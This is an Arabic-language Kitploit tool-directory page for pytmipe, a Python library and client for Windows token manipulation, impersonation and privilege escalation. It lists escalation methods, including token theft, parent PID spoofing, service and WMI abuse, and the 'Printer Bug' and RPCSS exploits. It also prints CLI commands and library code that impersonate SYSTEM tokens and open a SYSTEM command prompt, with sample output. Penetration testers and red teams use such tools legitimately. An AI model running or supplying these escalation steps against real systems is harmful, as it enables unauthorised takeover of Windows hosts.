Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pytmipe — مكتبة Python وعميل لمعالجة الرموز والانتحال لتصعيد الامتيازات على Windows | Kitploit
أدوات/GitHubGitHub/quentinhardy/pytmipe
تصعيد الامتيازاتأدوات انتحال الشخصيةما بعد الاستغلالاختبار الاختراقالفريق الأحمر
GitHubquentinhardy/pytmipe

pytmipe

مكتبة Python وعميل لمعالجة الرموز والانتحال لتصعيد الامتيازات على Windows

عرض المستودع
12323منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PYTMIPE & TMIPE

PYTMIPE (مكتبة بايثون لمعالجة الرموز المميزة وانتحال الشخصية لتصعيد الامتيازات) هي مكتبة Python 3 لمعالجة رموز Windows وإدارة عمليات الانتحال بهدف الحصول على امتيازات إضافية على Windows. TMIPE هو العميل Python 3 الذي يستخدم مكتبة pytmipe.

المحتوى

  • عميل بايثون: tmipe (python3 tmipe.py)
  • مكتبة بايثون: pytmipe. مفيدة لتضمين هذا المشروع في مشروع آخر
  • أمثلة pytinstaller للحصول على ملفات مستقلة exe

المستندات

  • شرائح "معالجة رموز Windows وانتحال الشخصية وتصعيد الامتيازات" (بالإنجليزية): رابط

  • مقال في MISC 112 (بالفرنسية): رابط

الميزات الرئيسية

الطريقةالامتيازات المطلوبةنظام التشغيل (غير شامل)الهدف المباشر (الأقصى)
إنشاء الرمز المميز وانتحالهاسم المستخدم وكلمة المرورالكلمسؤول محلي
سرقة/انتحال الرمز المميزSeDebugPrivilegeالكلnt authority\system
تزوير PID الأصلي (توريث المقبض)SeDebugPrivilege>= Vistant authority\system
الخدمة (SCM)مسؤول محلي (ومستوى تكامل عالي إذا كان UAC مفعّلاً)الكلnt authority\system أو حساب نطاق
حدث WMIمسؤول محلي (ومستوى تكامل عالي إذا كان UAC مفعّلاً)الكلnt authority\system
ثغرة « Printer Bug » لتصعيد الامتيازاتSeImpersonatePrivilege (حساب خدمة)Windows 8.1, 10 & Server 2012R2/2016/2019nt authority\system
ثغرة خدمة RPCSS لتصعيد الامتيازاتSeImpersonatePrivilege (حساب خدمة)Windows 10 & Server 2016/2019nt authority\system

الإمكانيات

القائمة التالية غير الشاملة تُظهر بعض الميزات المُنفَّذة في مكتبة pytmipe:

  • إدارة الرموز المميزة والامتيازات:
    • الحصول على امتياز(امتيازات) أو تفعيله أو تعطيله على الرمز المميز للخيط الحالي أو البعيد
    • الحصول على معلومات الرمز المميز المحلي أو البعيد
    • الحصول على الرمز المميز الفعال للخيط الحالي (انتحال أو رمز أساسي)
  • الحصول على العديد من المعلومات حول الرمز(الرموز) المختارة:
    • نوع الارتفاع، نوع الانتحال، الرمز المرتبط مع التفاصيل، SID، ACLs، المجموعات الافتراضية، المجموعة الأساسية، المالك، الامتيازات، المصدر
    • إلخ
  • سرد جميع الرموز المميزة التي يمكن الوصول إليها (الرموز الأولية ورموز الانتحال) من الخيط الحالي:
    • طريقتان مختلفتان منفذتان: طريقة "الخيط" وطريقة "المقبض" (المفضلة)
    • التحقق مما إذا كان يمكن انتحال الرمز المميز
    • الحصول على معلومات حول كل رمز مميز (نوع الارتفاع، نوع الانتحال، الرمز المرتبط، SID، إلخ)
    • الحصول على جميع الرموز المميزة التي يمكن الوصول إليها حسب اسم الحساب (SID)
  • انتحال رمز أو مستخدم:
    • إنشاء رمز وانتحاله (يتطلب بيانات اعتماد المستخدم)
    • سرقة/انتحال الرمز المميز (مطلوب امتيازات محددة): انتحال رمز مميز محدد
    • إنشاء عملية برمز مميز (مطلوب امتيازات محددة): انتحال رمز مميز محدد وإنشاء عملية جديدة
    • انتحال أول رمز *nt authority\system موجود
    • انتحال الرمز الأولي لعملية بعيدة باستخدام PID
  • طرق التصعيد:
    • تزوير PID الأصلي - وراثة المقبض
    • مدير الخدمة عبر أمر مباشر أو انتحال named pipe: من مسؤول محلي إلى nt authority\system (أو حساب متميز آخر)
    • جدولة المهام عبر أمر مباشر أو انتحال named pipe: من مسؤول محلي إلى nt authority\system
    • مهمة WMI عبر أمر مباشر أو انتحال named pipe: من مسؤول محلي إلى nt authority\system
    • ثغرة Printer Bug: من SeImpersonatePrivilege إلى nt authority\system
    • RPCSS: من SeImpersonatePrivilege إلى nt authority\system
    • إعادة تفعيل الامتيازات عبر جدولة المهام وانتحال named pipe

التبعيات

يتم استخدام ctypes لأقصى وقت. تم إعادة تطوير العديد من ميزات pywin32 في pytmipe لتجنب استخدام pywin32 من أجل قابلية نقل أفضل. ومع ذلك، لا تزال وحدة جدولة المهام تستخدم pywin32 (بشكل أكثر دقة pythoncom) بسبب ضيق الوقت. جميع الوحدات الأخرى تستخدم ctypes فقط.

كيفية الاستخدام

لـ عميل بايثون (اسمه tmipe):

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command
    cangetadmin          Check if user can get admin access
    printalltokens       Print all tokens accessible from current thread
    printalltokensbyname
                         Print all tokens accessible from current thread by account name
    printalltokensbypid  Print all tokens accessible from current thread by pid
    printsystemtokens    Print all system tokens accessible from current
    searchimpfirstsystem
                         search and impersonate first system token
    imppid               impersonate primary token of selected pid and try to spawn cmd.exe
    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
    printerbug           exploit the "printer bug" for getting system shell
    rpcss                exploit "rpcss" for getting system shell
    spoof                parent PID Spoofing ("handle inheritance)"
    impuser              create process with creds with impersonation
    runas                create process with creds as runas
    scm                  create process with Service Control Manager

optional arguments:
  -h, --help             show this help message and exit
  --version              show program's version number and exit

لـ مكتبة بايثون (اسمها pytmipe)، راجع الكود المصدري والأمثلة. عادةً، قمت بتوثيق الكود المصدري جيدًا... معظم الدوال موثقة.

لـ أمثلة pyinstaller والملفات المستقلة، راجع الملفات في مجلدات src/examples/.

أمثلة

إذا كنت تريد معرفة كيفية استخدام مكتبة pytimpe، انظر مجلد src/examples للعديد من الأمثلة.

مثال 1: الحصول على nt authority\system

لانتحال أول رمز system والحصول على موجه cmd.exe كـ system من عميل بايثون (tmipe):

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

لفعل الشيء نفسه باستخدام مكتبة pytmipe مباشرة، انظر الملف src/examples/searchAndImpersonateFirstSystemToken.py:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

سيؤدي ذلك إلى فتح موجه cmd.exe كـ system إذا كان مستخدم Windows الحالي لديه الصلاحيات المطلوبة.

بالطبع، من هذا الكود المصدري، يمكنك إنشاء ملف exe مستقل باستخدام pyinstaller.

مثال 2: الحصول على الرموز المميزة

للحصول على الرموز الأساسية ورموز الانتحال المستخدمة في العملية الحالية:

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

المخرجات:

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

للحصول على جميع الرموز المميزة التي يمكن الوصول إليها من الخيط الحالي، مرتبة حسب PID، عندما يكون الانتحال ممكناً فقط:

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

المخرجات:

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

إذا كنت تريد القيام بهذه العملية باستخدام مكتبة pytmipe، فهي سهلة أيضاً:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

مثال 3: انتحال رمز مميز

يمكنك انتحال رمز مميز محدد.

الخطوة الأولى، احصل على جميع الرموز وفقاً لمرشحاتك (رموز system والرموز التي يمكن انتحالها بواسطة الخيط الحالي):

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

المخرجات:

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

المخرجات السابقة تُظهر رمز انتحال موجود في PID 2288 (ihandle 118)، بمستوى تكامل system. من الممكن انتحال هذا الرمز المحدد باستخدام الأمر التالي:

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

هذا الأمر السابق يفتح cmd.exe كـ nt authority\system.

يمكن القيام بذلك باستخدام مكتبة pytmipe أيضاً. الكود المصدري التالي ينتحل أول رمز system متاح، ويطبع الرمز الفعال ثم يوقف الانتحال:

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("No one token found for impersonation")
else:
    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Current Effective token for current thread after impersonation:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Current Effective token for current thread (impersonation finished):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

التبرع

إذا كنت ترغب في دعم عملي عبر التبرع، سأكون ممتناً جداً:

عبر BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

تنزيل الأداة